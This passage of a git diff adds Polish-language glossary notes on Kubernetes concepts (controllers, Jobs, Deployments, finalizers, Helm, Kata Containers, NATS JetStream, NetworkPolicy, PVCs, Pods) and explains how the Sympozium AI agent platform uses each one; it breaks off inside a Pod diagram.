- **AuthRefs** - Klucze API providerów LLM (OPENAI_API_KEY, ANTHROPIC_API_KEY)
|
||||
- **Channel credentials** - Telegram bot token, Slack token
|
||||
- **Web endpoint API key** - Auto-generated `sk-<hex>`
|
||||
- **Skill secrets** - GH_TOKEN dla github-gitops (mirrored do namespace runu)
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[SkillPack]] | [[Persistent Memory]] | [[SympoziumInstance]]
|
||||
79
08-Słownik-K8s/Controller i Reconciler.md
Normal file
79
08-Słownik-K8s/Controller i Reconciler.md
Normal file
@@ -0,0 +1,79 @@
|
||||
# Controller i Reconciler
|
||||
|
||||
#kubernetes #architecture #operator #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Controller** to pętla kontrolna w Kubernetes obserwująca stan zasobów i **doprowadzająca rzeczywisty stan do pożądanego** (desired state → actual state). **Reconciler** to funkcja wywoływana gdy stan zasobu zmienia się.
|
||||
|
||||
## Wzorzec reconciliation
|
||||
|
||||
```
|
||||
Desired state (CRD spec) → Controller → Actual state (K8s resources)
|
||||
|
||||
Pętla:
|
||||
1. Observe: Watch API server for changes
|
||||
2. Diff: Compare desired vs actual
|
||||
3. Act: Create/update/delete resources
|
||||
4. Repeat
|
||||
```
|
||||
|
||||
## Kluczowe koncepty
|
||||
|
||||
| Koncept | Opis |
|
||||
|---------|------|
|
||||
| **Watch** | Subskrypcja na eventy (create/update/delete) |
|
||||
| **Work queue** | Kolejka zasobów do reconciliation |
|
||||
| **Reconcile()** | Funkcja wywoływana per zasób |
|
||||
| **Requeue** | "Sprawdź mnie ponownie za N sekund" |
|
||||
| **Idempotent** | Reconcile() musi być bezpieczne do wielokrotnego wywołania |
|
||||
| **Level-triggered** | Reaguje na **stan**, nie na **event** |
|
||||
|
||||
## Level-triggered vs edge-triggered
|
||||
|
||||
```
|
||||
Edge-triggered: "Coś się zmieniło!" → reaguj na zmianę
|
||||
Level-triggered: "Jaki jest aktualny stan?" → doprowadź do desired
|
||||
|
||||
Kubernetes Controllers = LEVEL-TRIGGERED
|
||||
→ Nie ważne CO się zmieniło
|
||||
→ Ważne JAKI jest stan i JAKI powinien być
|
||||
→ Resilient na missed events
|
||||
```
|
||||
|
||||
## controller-runtime
|
||||
|
||||
Sympozium używa `sigs.k8s.io/controller-runtime` - framework Go dla Kubernetes controllers:
|
||||
|
||||
```go
|
||||
type AgentRunReconciler struct {
|
||||
client.Client
|
||||
Scheme *runtime.Scheme
|
||||
Log logr.Logger
|
||||
}
|
||||
|
||||
func (r *AgentRunReconciler) Reconcile(ctx context.Context, req ctrl.Request) (ctrl.Result, error) {
|
||||
// 1. Fetch resource
|
||||
// 2. Compare desired vs actual
|
||||
// 3. Create/update/delete
|
||||
// 4. Update status
|
||||
return ctrl.Result{RequeueAfter: 10 * time.Second}, nil
|
||||
}
|
||||
```
|
||||
|
||||
## Controllers w Sympozium
|
||||
|
||||
| Controller | Zasób | Co reconciliuje |
|
||||
|------------|-------|-----------------|
|
||||
| AgentRunReconciler | [[AgentRun]] | [[Job]]/Sandbox CR, RBAC, ConfigMaps |
|
||||
| SympoziumInstanceReconciler | [[SympoziumInstance]] | Channel [[Deployment|Deployments]], memory |
|
||||
| PersonaPackReconciler | [[PersonaPack]] | Instances, Schedules, memory |
|
||||
| SkillPackReconciler | [[SkillPack]] | ConfigMaps ze skills |
|
||||
| SympoziumScheduleReconciler | [[SympoziumSchedule]] | AgentRun na schedule |
|
||||
| MCPServerReconciler | [[MCPServer]] | Deployments, Services |
|
||||
|
||||
Więcej: [[Control Plane]] | [[Cykl życia AgentRun]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[CRD - Custom Resource Definition]] | [[Control Plane]] | [[Finalizer]]
|
||||
39
08-Słownik-K8s/DaemonSet.md
Normal file
39
08-Słownik-K8s/DaemonSet.md
Normal file
@@ -0,0 +1,39 @@
|
||||
# DaemonSet
|
||||
|
||||
#kubernetes #workload #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**DaemonSet** zapewnia że **jeden pod działa na każdym (lub wybranych) nodzie** klastra. Gdy nowy node jest dodany, DaemonSet automatycznie deployuje na nim pod.
|
||||
|
||||
## Use cases
|
||||
|
||||
| Use case | Przykład |
|
||||
|----------|---------|
|
||||
| Log collection | Fluentd, Filebeat |
|
||||
| Monitoring | Node Exporter, Datadog Agent |
|
||||
| Storage | Ceph, GlusterFS |
|
||||
| Networking | Calico, Cilium |
|
||||
| **Inference discovery** | Sympozium Node Probe |
|
||||
|
||||
## Różnica vs Deployment
|
||||
|
||||
| | DaemonSet | [[Deployment]] |
|
||||
|---|-----------|------------|
|
||||
| Repliki | 1 per node (auto) | N (zdefiniowane) |
|
||||
| Scheduling | Gwarantowany per node | Scheduler decyduje |
|
||||
| Scaling | Dodanie/usunięcie node'a | Zmiana replica count |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
**Node Probe DaemonSet** (`cmd/node-probe/`):
|
||||
- Jeden pod na każdym nodzie
|
||||
- Probeuje localhost porty (Ollama :11434, vLLM :8000, etc.)
|
||||
- Annotuje node z odkrytymi inference providers
|
||||
- API Server czyta annotacje → TUI/Web UI pokazuje
|
||||
|
||||
Więcej: [[Node Probe - odkrywanie inferencji]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Node Probe - odkrywanie inferencji]] | [[Deployment]] | [[Pod]]
|
||||
47
08-Słownik-K8s/Deployment.md
Normal file
47
08-Słownik-K8s/Deployment.md
Normal file
@@ -0,0 +1,47 @@
|
||||
# Deployment
|
||||
|
||||
#kubernetes #workload #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Deployment** to zasób Kubernetes zarządzający **zestawem identycznych podów** (ReplicaSet). Zapewnia deklaratywne aktualizacje, rollback, skalowanie i self-healing.
|
||||
|
||||
## Kluczowe cechy
|
||||
|
||||
| Cecha | Opis |
|
||||
|-------|------|
|
||||
| **Replicas** | Ilość identycznych podów |
|
||||
| **Rolling update** | Stopniowa wymiana podów na nowe |
|
||||
| **Rollback** | Powrót do poprzedniej wersji |
|
||||
| **Self-healing** | Restart crashed podów |
|
||||
| **Scaling** | Zmiana ilości replik (ręczna lub HPA) |
|
||||
|
||||
## Deployment vs Job
|
||||
|
||||
| | [[Job]] | Deployment |
|
||||
|---|---------|------------|
|
||||
| Lifecycle | Run-to-completion | Long-running |
|
||||
| Restart | Never/OnFailure | Always |
|
||||
| Replicas | Completions | Desired count |
|
||||
| Use case | Batch, one-shot | Services |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Deployments są używane dla **długo żyjących komponentów**:
|
||||
|
||||
| Komponent | Repliki | Opis |
|
||||
|-----------|---------|------|
|
||||
| Channel pods | 1 per kanał | Telegram, Slack, Discord, WhatsApp |
|
||||
| Memory server | 1 per instance | SQLite + FTS5 na PVC |
|
||||
| Web proxy | 1 per instance | OpenAI-compat API (server mode) |
|
||||
| Controller | 1 | Reconciler CRDs |
|
||||
| API Server | 1 | HTTP + WebSocket |
|
||||
| NATS | 1 (StatefulSet) | Event bus |
|
||||
|
||||
[[AgentRun]] w **trybie server** tworzy Deployment + Service zamiast Job.
|
||||
|
||||
Więcej: [[Tryb Server vs Task]] | [[Kanały - Telegram Slack Discord WhatsApp]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Job]] | [[StatefulSet]] | [[Pod]] | [[Tryb Server vs Task]]
|
||||
64
08-Słownik-K8s/Finalizer.md
Normal file
64
08-Słownik-K8s/Finalizer.md
Normal file
@@ -0,0 +1,64 @@
|
||||
# Finalizer
|
||||
|
||||
#kubernetes #lifecycle #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Finalizer** to mechanizm Kubernetes **blokujący usunięcie zasobu** do czasu wykonania cleanup. Dopóki finalizer istnieje na zasobie, K8s nie usunie go z etcd.
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```
|
||||
1. Zasób ma finalizer: ["sympozium.ai/finalizer"]
|
||||
2. kubectl delete → DeletionTimestamp ustawiony, ale zasób ISTNIEJE
|
||||
3. Controller widzi DeletionTimestamp → wykonuje cleanup
|
||||
4. Controller usuwa finalizer z listy
|
||||
5. K8s widzi brak finalizerów → zasób usunięty z etcd
|
||||
```
|
||||
|
||||
## Bez vs z finalizer
|
||||
|
||||
```
|
||||
Bez finalizer:
|
||||
kubectl delete agentrun → NATYCHMIAST usunięty
|
||||
→ Orphaned Jobs, RBAC, ConfigMaps!
|
||||
|
||||
Z finalizer:
|
||||
kubectl delete agentrun → DeletionTimestamp set
|
||||
→ Controller: cleanup Jobs, RBAC, ConfigMaps
|
||||
→ Controller: remove finalizer
|
||||
→ Zasób usunięty
|
||||
```
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
### AgentRun finalizer
|
||||
```go
|
||||
const agentRunFinalizer = "sympozium.ai/agentrun-finalizer"
|
||||
```
|
||||
|
||||
Cleanup przy usunięciu:
|
||||
- Delete Job/Sandbox CR
|
||||
- Delete ephemeral RBAC (ClusterRole, ClusterRoleBinding)
|
||||
- Delete input ConfigMap
|
||||
- Delete MCP ConfigMap
|
||||
|
||||
### SympoziumInstance finalizer
|
||||
```go
|
||||
const sympoziumInstanceFinalizer = "sympozium.ai/finalizer"
|
||||
```
|
||||
|
||||
Cleanup:
|
||||
- Delete channel Deployments
|
||||
- Delete memory ConfigMap
|
||||
- Delete memory Deployment/Service
|
||||
|
||||
## Pułapki
|
||||
|
||||
- Jeśli controller jest niedostępny → finalizer blokuje usunięcie na zawsze
|
||||
- "Stuck" zasoby: trzeba ręcznie usunąć finalizer (`kubectl edit`)
|
||||
- Finalizer dodawany tylko dla non-terminal runs (nie dla Succeeded/Failed)
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Controller i Reconciler]] | [[ownerReference]] | [[Cykl życia AgentRun]]
|
||||
74
08-Słownik-K8s/Helm Chart.md
Normal file
74
08-Słownik-K8s/Helm Chart.md
Normal file
@@ -0,0 +1,74 @@
|
||||
# Helm Chart
|
||||
|
||||
#kubernetes #deployment #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Helm** to package manager dla Kubernetes. **Helm Chart** to paczka szablonów Kubernetes YAML z parametryzacją (values).
|
||||
|
||||
## Analogia
|
||||
|
||||
```
|
||||
apt install nginx → helm install sympozium sympozium/sympozium
|
||||
apt-get update → helm repo update
|
||||
dpkg -l → helm list
|
||||
```
|
||||
|
||||
## Struktura
|
||||
|
||||
```
|
||||
charts/sympozium/
|
||||
├── Chart.yaml # Metadata (nazwa, wersja)
|
||||
├── values.yaml # Domyślne parametry
|
||||
├── templates/ # Szablony K8s YAML
|
||||
│ ├── deployment.yaml
|
||||
│ ├── service.yaml
|
||||
│ ├── configmap.yaml
|
||||
│ └── ...
|
||||
└── charts/ # Sub-charts (zależności)
|
||||
```
|
||||
|
||||
## values.yaml
|
||||
|
||||
```yaml
|
||||
# Przykładowe parametry
|
||||
controller:
|
||||
replicas: 1
|
||||
image:
|
||||
repository: ghcr.io/sympozium-ai/sympozium/controller
|
||||
tag: v0.0.25
|
||||
resources:
|
||||
requests:
|
||||
cpu: 250m
|
||||
memory: 512Mi
|
||||
|
||||
agentSandbox:
|
||||
enabled: true
|
||||
defaultRuntimeClass: gvisor
|
||||
|
||||
observability:
|
||||
enabled: true
|
||||
otlpEndpoint: "otel-collector:4317"
|
||||
```
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Sympozium instalowane via Helm:
|
||||
```bash
|
||||
helm repo add sympozium https://deploy.sympozium.ai/charts
|
||||
helm install sympozium sympozium/sympozium
|
||||
```
|
||||
|
||||
Chart zawiera:
|
||||
- Controller Manager [[Deployment]]
|
||||
- API Server Deployment
|
||||
- Webhook Deployment + cert-manager integration
|
||||
- NATS [[StatefulSet]]
|
||||
- [[CRD - Custom Resource Definition|CRD]] manifests
|
||||
- [[RBAC]] (ClusterRole, bindings)
|
||||
- [[NetworkPolicy]] templates
|
||||
- Built-in [[PersonaPack|PersonaPacks]] i [[SkillPack|SkillPacks]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Struktura repozytorium]] | [[CRD - Custom Resource Definition]] | [[Control Plane]]
|
||||
71
08-Słownik-K8s/Job.md
Normal file
71
08-Słownik-K8s/Job.md
Normal file
@@ -0,0 +1,71 @@
|
||||
# Job (Kubernetes)
|
||||
|
||||
#kubernetes #workload #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Job** to zasób Kubernetes tworzący **pod który wykonuje zadanie i kończy się**. W odróżnieniu od [[Deployment]] (pody działają ciągle), Job tworzy pod który ma zakończyć się sukcesem.
|
||||
|
||||
## Zachowanie
|
||||
|
||||
```
|
||||
Job created → Pod created → Pod runs → Pod completes (exit code 0) → Job Succeeded
|
||||
→ Pod fails (exit code != 0) → Job retries or Failed
|
||||
```
|
||||
|
||||
## Kluczowe cechy
|
||||
|
||||
| Cecha | Opis |
|
||||
|-------|------|
|
||||
| **Run-to-completion** | Pod kończy się po wykonaniu zadania |
|
||||
| **Retry policy** | Konfigurowalny `backoffLimit` (ile razy retry) |
|
||||
| **Parallelism** | Wiele podów jednocześnie (`parallelism`) |
|
||||
| **TTL cleanup** | Automatyczne usuwanie po N sekundach |
|
||||
| **Completions** | Ile podów musi zakończyć się sukcesem |
|
||||
|
||||
## Przykład
|
||||
|
||||
```yaml
|
||||
apiVersion: batch/v1
|
||||
kind: Job
|
||||
metadata:
|
||||
name: agent-run-001
|
||||
spec:
|
||||
backoffLimit: 0 # Bez retries
|
||||
ttlSecondsAfterFinished: 300 # Usuń po 5 minutach
|
||||
template:
|
||||
spec:
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- name: agent
|
||||
image: agent-runner:v1
|
||||
```
|
||||
|
||||
## Job vs inne workloady
|
||||
|
||||
| Workload | Lifecycle | Restart | Use case |
|
||||
|----------|-----------|---------|----------|
|
||||
| **Job** | Run-to-completion | Never/OnFailure | Batch, one-shot |
|
||||
| [[Deployment]] | Long-running | Always | Web services |
|
||||
| CronJob | Periodic Job | Never/OnFailure | Scheduled batch |
|
||||
| [[DaemonSet]] | One per node | Always | Node agents |
|
||||
| [[StatefulSet]] | Ordered, stable | Always | Databases |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
**AgentRun w trybie task = Kubernetes Job:**
|
||||
|
||||
Każde wywołanie agenta tworzy Job z:
|
||||
- Agent container (LLM loop)
|
||||
- IPC Bridge sidecar
|
||||
- Skill sidecars
|
||||
- `backoffLimit: 0` (brak retry - lepsze logowanie błędów)
|
||||
- `restartPolicy: Never`
|
||||
|
||||
Po zakończeniu controller zbiera logi, wynik i token usage ze statusu poda.
|
||||
|
||||
Więcej: [[Model efemerycznych agentów]] | [[Cykl życia AgentRun]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Deployment]] | [[Model efemerycznych agentów]] | [[Pod]]
|
||||
101
08-Słownik-K8s/Kata Containers.md
Normal file
101
08-Słownik-K8s/Kata Containers.md
Normal file
@@ -0,0 +1,101 @@
|
||||
# Kata Containers
|
||||
|
||||
#kubernetes #security #sandbox #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Kata Containers** to technologia łącząca **lekkość kontenerów z bezpieczeństwem maszyn wirtualnych**. Każdy kontener (lub pod) uruchamiany jest wewnątrz dedykowanej, lekkiej VM z własnym kernelem.
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```
|
||||
Bez Kata:
|
||||
Container → shared Host Kernel
|
||||
|
||||
Z Kata:
|
||||
Container → Guest Kernel (dedykowany) → Hypervisor (QEMU/Cloud Hypervisor) → Host Kernel
|
||||
```
|
||||
|
||||
Każdy pod dostaje:
|
||||
- **Własny kernel Linux** (guest kernel)
|
||||
- **Własną przestrzeń pamięci** (izolacja hypervisora)
|
||||
- **Dedykowany agent** (kata-agent) zarządzający kontenerem wewnątrz VM
|
||||
|
||||
## Architektura
|
||||
|
||||
```
|
||||
┌──────────────────────────────────┐
|
||||
│ Host (Node) │
|
||||
│ │
|
||||
│ ┌────────────────────────────┐ │
|
||||
│ │ Lightweight VM │ │
|
||||
│ │ ┌──────────────────────┐ │ │
|
||||
│ │ │ Container │ │ │
|
||||
│ │ │ (agent pod) │ │ │
|
||||
│ │ └──────────────────────┘ │ │
|
||||
│ │ Guest Kernel (Linux) │ │
|
||||
│ └────────────────────────────┘ │
|
||||
│ Hypervisor (QEMU/Cloud HV/FC) │
|
||||
│ Host Kernel │
|
||||
└──────────────────────────────────┘
|
||||
```
|
||||
|
||||
## Hypervisory wspierane
|
||||
|
||||
| Hypervisor | Opis | Użycie |
|
||||
|------------|------|--------|
|
||||
| **QEMU** | Pełnofunkcyjny, uniwersalny | Domyślny |
|
||||
| **Cloud Hypervisor** | Zoptymalizowany dla cloud-native | Produkcja |
|
||||
| **Firecracker** | Micro-VM od AWS (Lambda/Fargate) | Serverless |
|
||||
| **ACRN** | Dla IoT/embedded | Specjalistyczny |
|
||||
|
||||
## Porównanie z gVisor
|
||||
|
||||
| Aspekt | [[gVisor]] | Kata Containers |
|
||||
|--------|---------|-----------------|
|
||||
| Mechanizm | User-space kernel (Sentry) | Lightweight VM (hypervisor) |
|
||||
| Izolacja | Przechwytywanie syscalls | Pełna izolacja kernela |
|
||||
| Overhead | 5-10% | 15-20% |
|
||||
| Kompatybilność | ~95% syscalls | ~99% |
|
||||
| Startup time | Szybki (~100ms) | Wolniejszy (~500ms-2s) |
|
||||
| Memory overhead | Niski (~20MB) | Wyższy (~50-100MB per VM) |
|
||||
| GPU support | Ograniczone | Lepsze (PCI passthrough) |
|
||||
| Bezpieczeństwo | Silne | **Najsilniejsze** (VM boundary) |
|
||||
|
||||
## Kiedy Kata vs gVisor?
|
||||
|
||||
### Wybierz gVisor gdy:
|
||||
- Potrzebujesz niskiego overhead
|
||||
- Workload jest I/O-intensive
|
||||
- Chcesz szybki startup
|
||||
|
||||
### Wybierz Kata gdy:
|
||||
- Potrzebujesz **najsilniejszej izolacji** (compliance, untrusted code)
|
||||
- Workload wymaga pełnej kompatybilności syscalls
|
||||
- GPU passthrough jest potrzebny
|
||||
|
||||
## Użycie w Kubernetes
|
||||
|
||||
Kata integruje się przez [[RuntimeClass]]:
|
||||
|
||||
```yaml
|
||||
apiVersion: node.k8s.io/v1
|
||||
kind: RuntimeClass
|
||||
metadata:
|
||||
name: kata
|
||||
handler: kata-qemu
|
||||
```
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
```yaml
|
||||
agentSandbox:
|
||||
enabled: true
|
||||
runtimeClass: kata
|
||||
```
|
||||
|
||||
Wymaga: Kata Containers zainstalowane na nodach + RuntimeClass `kata`.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[gVisor]] | [[Agent Sandbox - gVisor i Kata]] | [[RuntimeClass]] | [[Model bezpieczeństwa Defence-in-Depth]]
|
||||
51
08-Słownik-K8s/NATS JetStream.md
Normal file
51
08-Słownik-K8s/NATS JetStream.md
Normal file
@@ -0,0 +1,51 @@
|
||||
# NATS JetStream
|
||||
|
||||
#kubernetes #messaging #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**NATS** to lekki, cloud-native system messaging. **JetStream** to warstwa persistence dodana do NATS, umożliwiająca **durable pub/sub** z replay, retention i consumer groups.
|
||||
|
||||
## NATS vs JetStream
|
||||
|
||||
| NATS Core | NATS JetStream |
|
||||
|-----------|----------------|
|
||||
| Fire-and-forget | Durable (zapisane na dysk) |
|
||||
| At-most-once | At-least-once delivery |
|
||||
| Brak replay | Replay od dowolnego punktu |
|
||||
| Brak consumer groups | Consumer groups + ack |
|
||||
| Ultra-fast | Szybki (trochę wolniejszy) |
|
||||
|
||||
## Porównanie z alternatywami
|
||||
|
||||
| System | Latency | Throughput | Complexity | Use case |
|
||||
|--------|---------|------------|------------|----------|
|
||||
| **NATS JetStream** | ~1ms | ~100K msg/s | **Niski** | Cloud-native, K8s |
|
||||
| Apache Kafka | ~5ms | ~1M msg/s | Wysoki | Big data, streaming |
|
||||
| RabbitMQ | ~3ms | ~50K msg/s | Średni | Enterprise messaging |
|
||||
| Redis Streams | ~1ms | ~200K msg/s | Niski | Caching + messaging |
|
||||
|
||||
## Kluczowe koncepty JetStream
|
||||
|
||||
| Koncept | Opis |
|
||||
|---------|------|
|
||||
| **Stream** | Named storage dla wiadomości (temat wildcard) |
|
||||
| **Consumer** | Subskrybent z cursor/offset tracking |
|
||||
| **Durable Consumer** | Consumer z persistence (survives restarts) |
|
||||
| **Ack** | Potwierdzenie przetworzenia wiadomości |
|
||||
| **Retention** | Limits (max age, max bytes) lub Interest-based |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
NATS JetStream jest **centralnym event bus'em** Sympozium:
|
||||
|
||||
- **Stream**: `sympozium` z subjects `sympozium.>`
|
||||
- **Retention**: 24h max age
|
||||
- **Deployment**: [[StatefulSet]] w `sympozium-system`
|
||||
- **URL**: `nats://nats.sympozium-system.svc:4222`
|
||||
|
||||
Tematy: patrz [[NATS JetStream - Event Bus]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[NATS JetStream - Event Bus]] | [[Przepływ danych i IPC]] | [[StatefulSet]]
|
||||
47
08-Słownik-K8s/Namespace.md
Normal file
47
08-Słownik-K8s/Namespace.md
Normal file
@@ -0,0 +1,47 @@
|
||||
# Namespace
|
||||
|
||||
#kubernetes #multi-tenancy #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Namespace** to wirtualny klaster wewnątrz klastra Kubernetes. Pozwala na **logiczną izolację zasobów** - zasoby w różnych namespace'ach nie widzą się nawzajem (domyślnie).
|
||||
|
||||
## Kluczowe cechy
|
||||
|
||||
- **Scope zasobów** - Pods, Services, ConfigMaps etc. są namespace-scoped
|
||||
- **RBAC** - uprawnienia mogą być ograniczone do namespace
|
||||
- **Resource Quotas** - limity CPU/memory per namespace
|
||||
- **NetworkPolicy** - izolacja sieciowa per namespace
|
||||
- **Brak hierarchii** - namespace'y są płaskie (no nesting)
|
||||
|
||||
## Zasoby namespace-scoped vs cluster-scoped
|
||||
|
||||
| Namespace-scoped | Cluster-scoped |
|
||||
|-----------------|----------------|
|
||||
| Pod, Service, Deployment | Node, Namespace |
|
||||
| ConfigMap, Secret | ClusterRole |
|
||||
| Role, RoleBinding | ClusterRoleBinding |
|
||||
| NetworkPolicy | PersistentVolume |
|
||||
| **CRDs Sympozium** | StorageClass |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
### Multi-tenancy
|
||||
Każda [[SympoziumInstance]] działa w namespace (domyślnie `sympozium-system`):
|
||||
- Zasoby instancji izolowane w namespace
|
||||
- [[RBAC]] per-namespace kontroluje dostęp
|
||||
- [[NetworkPolicy]] per-namespace izoluje sieć
|
||||
|
||||
### System namespace
|
||||
`sympozium-system` - namespace control plane:
|
||||
- Controller, API Server, Webhook
|
||||
- NATS JetStream
|
||||
- Built-in PersonaPacks, SkillPacks, Policies
|
||||
|
||||
### Efemeryczny RBAC
|
||||
Namespace-scoped Role + RoleBinding mają [[ownerReference]] → AgentRun = auto GC.
|
||||
Cluster-scoped zasoby nie mogą mieć cross-namespace ownerRef.
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[RBAC]] | [[SympoziumInstance]] | [[Model bezpieczeństwa Defence-in-Depth]]
|
||||
90
08-Słownik-K8s/NetworkPolicy.md
Normal file
90
08-Słownik-K8s/NetworkPolicy.md
Normal file
@@ -0,0 +1,90 @@
|
||||
# NetworkPolicy
|
||||
|
||||
#kubernetes #security #network #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**NetworkPolicy** to zasób Kubernetes definiujący **reguły firewalla na poziomie podów**. Kontroluje jaki ruch sieciowy (ingress/egress) jest dozwolony do/z podów.
|
||||
|
||||
## Domyślne zachowanie
|
||||
|
||||
Bez NetworkPolicy: **wszystko jest dozwolone** - każdy pod może komunikować się z każdym innym podem i z internetem.
|
||||
|
||||
Z NetworkPolicy: reguły definiują whitelist - ruch nie pasujący do żadnej reguły jest **blokowany**.
|
||||
|
||||
## Przykład deny-all
|
||||
|
||||
```yaml
|
||||
apiVersion: networking.k8s.io/v1
|
||||
kind: NetworkPolicy
|
||||
metadata:
|
||||
name: deny-all-egress
|
||||
spec:
|
||||
podSelector:
|
||||
matchLabels:
|
||||
sympozium.ai/component: agent
|
||||
policyTypes:
|
||||
- Egress
|
||||
egress: [] # Pusty = BLOCK ALL
|
||||
```
|
||||
|
||||
## Przykład z wyjątkami
|
||||
|
||||
```yaml
|
||||
spec:
|
||||
podSelector:
|
||||
matchLabels:
|
||||
sympozium.ai/component: agent
|
||||
policyTypes:
|
||||
- Egress
|
||||
egress:
|
||||
# Pozwól DNS
|
||||
- to:
|
||||
- namespaceSelector: {}
|
||||
ports:
|
||||
- port: 53
|
||||
protocol: UDP
|
||||
# Pozwól NATS
|
||||
- to:
|
||||
- podSelector:
|
||||
matchLabels:
|
||||
app: nats
|
||||
ports:
|
||||
- port: 4222
|
||||
```
|
||||
|
||||
## Wymagania
|
||||
|
||||
NetworkPolicy wymaga **CNI plugin** wspierającego Network Policies:
|
||||
- Calico
|
||||
- Cilium
|
||||
- Weave Net
|
||||
- Antrea
|
||||
|
||||
**Flannel** domyślnie NIE wspiera NetworkPolicy.
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
Sympozium używa NetworkPolicy do **izolacji agent podów**:
|
||||
|
||||
```
|
||||
Agent pod:
|
||||
Egress: DENY ALL
|
||||
Wyjątki:
|
||||
- DNS (UDP 53)
|
||||
- NATS event bus (TCP 4222)
|
||||
- Skonfigurowane egress rules z SympoziumPolicy
|
||||
```
|
||||
|
||||
Dzięki temu agent nie może:
|
||||
- Sięgnąć do internetu
|
||||
- Komunikować się z innymi podami
|
||||
- Exfiltrować danych
|
||||
|
||||
Jedyny punkt wyjścia to IPC Bridge → NATS (kontrolowany kanał).
|
||||
|
||||
Więcej: [[NetworkPolicy i izolacja sieciowa]]
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[NetworkPolicy i izolacja sieciowa]] | [[SympoziumPolicy]] | [[Model bezpieczeństwa Defence-in-Depth]]
|
||||
67
08-Słownik-K8s/PersistentVolumeClaim.md
Normal file
67
08-Słownik-K8s/PersistentVolumeClaim.md
Normal file
@@ -0,0 +1,67 @@
|
||||
# PersistentVolumeClaim (PVC)
|
||||
|
||||
#kubernetes #storage #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**PersistentVolumeClaim (PVC)** to żądanie trwałego storage w Kubernetes. PVC abstrakcje underlying storage (dysk, NFS, cloud volume) i zapewnia **dane przetrwają restart poda**.
|
||||
|
||||
## Jak działa?
|
||||
|
||||
```
|
||||
PVC (żądanie: 10Gi, ReadWriteOnce)
|
||||
↓
|
||||
StorageClass (provisioner: ebs/gce-pd/local)
|
||||
↓
|
||||
PersistentVolume (faktyczny dysk)
|
||||
↓
|
||||
Pod mountuje PVC
|
||||
```
|
||||
|
||||
## Access Modes
|
||||
|
||||
| Mode | Opis | Skrót |
|
||||
|------|------|-------|
|
||||
| ReadWriteOnce | Jeden node może czytać/pisać | RWO |
|
||||
| ReadOnlyMany | Wiele node'ów read-only | ROX |
|
||||
| ReadWriteMany | Wiele node'ów read/write | RWX |
|
||||
|
||||
## emptyDir vs PVC
|
||||
|
||||
| | emptyDir | PVC |
|
||||
|---|----------|-----|
|
||||
| Lifecycle | Z podem | Niezależny od poda |
|
||||
| Persistence | **NIE** - dane znikają | **TAK** - dane trwają |
|
||||
| Sharing | Między kontenerami w podzie | Między podami (z ograniczeniami) |
|
||||
| Speed | Szybki (RAM option) | Zależne od storage |
|
||||
|
||||
## Użycie w Sympozium
|
||||
|
||||
### Memory PVC
|
||||
```yaml
|
||||
name: <instance>-memory-db
|
||||
spec:
|
||||
accessModes: [ReadWriteOnce]
|
||||
resources:
|
||||
requests:
|
||||
storage: 1Gi
|
||||
```
|
||||
Przechowuje SQLite DB z pamięcią agenta. Przetrwa restarty memory-server poda.
|
||||
|
||||
### WhatsApp PVC
|
||||
```yaml
|
||||
name: <instance>-channel-whatsapp-data
|
||||
spec:
|
||||
accessModes: [ReadWriteOnce]
|
||||
resources:
|
||||
requests:
|
||||
storage: 256Mi
|
||||
```
|
||||
Przechowuje WhatsApp credentials (QR link survives restarts).
|
||||
|
||||
### Strategy: Recreate
|
||||
Oba PVC są RWO (jeden pod na raz), więc Deployment Strategy musi być `Recreate` (nie RollingUpdate).
|
||||
|
||||
---
|
||||
|
||||
Powiązane: [[Persistent Memory]] | [[ConfigMap i Secret]] | [[Kanały - Telegram Slack Discord WhatsApp]]
|
||||
59
08-Słownik-K8s/Pod.md
Normal file
59
08-Słownik-K8s/Pod.md
Normal file
@@ -0,0 +1,59 @@
|
||||
# Pod
|
||||
|
||||
#kubernetes #workload #słownik
|
||||
|
||||
## Co to jest?
|
||||
|
||||
**Pod** to **najmniejsza deployowalna jednostka** w Kubernetes. Pod zawiera jeden lub więcej kontenerów współdzielących sieć i storage.
|
||||
|
||||
## Kluczowe cechy
|
||||
|
||||
- **Współdzielona sieć** - kontenery w podzie widzą się jako `localhost`
|
||||
- **Współdzielone woluminy** - kontenery mogą mountować te same woluminy
|
||||
- **Shared lifecycle** - wszystkie kontenery startują i kończą się razem
|
||||
- **Unikalne IP** - każdy pod dostaje własne IP w klastrze
|
||||
- **Efemeryczny** - pod nie jest "naprawiany", jest zastępowany nowym
|
||||
|
||||
## Anatomia
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────┐
|
||||
│ Pod │
|
||||
│ Network namespace (shared IP) │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────┐ │
|
||||
